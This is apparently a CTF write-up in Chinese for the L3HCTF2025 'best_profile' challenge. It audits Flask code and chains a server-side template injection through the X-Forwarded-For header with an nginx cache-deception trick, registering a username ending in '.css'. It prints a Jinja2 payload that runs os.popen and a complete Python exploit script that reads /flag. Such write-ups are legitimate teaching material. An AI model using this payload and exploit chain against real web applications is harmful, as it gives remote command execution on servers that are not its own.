Po1ustr3's World

[L3HCTF2025]best_profile

2025-07-19

这里先审计代码发现/ip_detail/<string:username>处有ssti漏洞(render_template_string)

@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
    res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
    if res.status_code != 200:
        return "Get last ip failed."
    last_ip = res.text
    try:
        ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
        country = geoip2_reader.country(ip)
    except (ValueError, TypeError):
        country = "Unknown"
    template = f"""
    <h1>IP Detail</h1>
    <div>{last_ip}</div>
    <p>Country:{country}</p>
    """
    return render_template_string(template)

这里看一下,他需要先get get_last_ip这个路由,查找ip,然后把里面的ip提取出来,这里我们去看一下get_last_ip逻辑

@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
def route_check_ip(username):
    if not current_user.is_authenticated:
        return "You need to login first."
    user = User.query.filter_by(username=username).first()
    if not user:
        return "User not found."
    return render_template("last_ip.html", last_ip=user.last_ip)

这里会首先判断你是否登录,否则返回You Need to login first,但是上面ip_detail是服务器get这个路由,没有登录cookie所以只要访问ip_detail路由就会触发这个返回。这里的last_ip=user.last_ip,我们看一下逻辑

@app.after_request
def set_last_ip(response):
    if current_user.is_authenticated:
        current_user.last_ip = request.remote_addr
        db.session.commit()
    return response

这里是每访问一次路由结束就会将其last_ip设置为请求的远程地址而且用了ProxyFix库,可以通过x-forwarded-for控制,则ssti注入点就在这里,现在我们要解决ip_detail访问没有cookie的问题。

看附件,给了nginx.conf

worker_processes 1;

events {
    use epoll;
    worker_connections 10240;
}

http {
    include mime.types;
    default_type text/html;
    access_log off;
    error_log /dev/null;
    sendfile on;
    keepalive_timeout 65;
    proxy_cache_path /cache levels=1:2 keys_zone=static:20m inactive=24h max_size=100m;

    server {
        listen 80 default_server;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
            proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
            proxy_pass http://127.0.0.1:5000;
            proxy_cache static;
            proxy_cache_valid 200 302 30d;
        }

        location ~ .*\.(js|css)?$ {
            proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
            proxy_pass http://127.0.0.1:5000;
            proxy_cache static;
            proxy_cache_valid 200 302 12h;
        }
    }
}

这里看有缓存逻辑,触发这几个后缀的文件就会被本地缓存,则我们再访问服务器就会从缓存调取而非从服务器调取,则这里可以利用本地缓存绕过ip_detail请求服务器的cookie而直接利用本地的缓存。

这里因为访问的路由都是直接/<username>的,而且用户名没有限制,所以我们可以注册一个用户名xxx.css ,然后带着ssti的x-forwarded-for请求头访问,就会缓存我们的首页,然后再访问/get_last_ip/xxx.css (带ssti请求头)缓存这个页面,然后再带着请求头访问/ip_detail/xxx.css 时候就会从缓存调取get_last_ip。

{{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}

hackbar应该不行,bp好像可以,这里直接用python写脚本吧,得到flag

import requests

url = "172.19.79.20"
username = "xxxx.css"
headers = {
"X-Forwarded-For": r"{{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}"
}
requests.post(f"http://{url}/register", data={"username": username, "password": "123", "bio": "123"},headers=headers)
cookies = requests.post(f"http://{url}/login", data={"username": username, "password": "123"}, headers=headers).cookies
requests.get(f"http://{url}/get_last_ip/{username}",headers=headers,cookies=cookies)
res = requests.get(f"http://{url}/ip_detail/{username}", params={"a": "os","b":"cat /flag"},headers=headers,cookies=cookies)
print(res.text)

image-20250719024810321

← Back to Home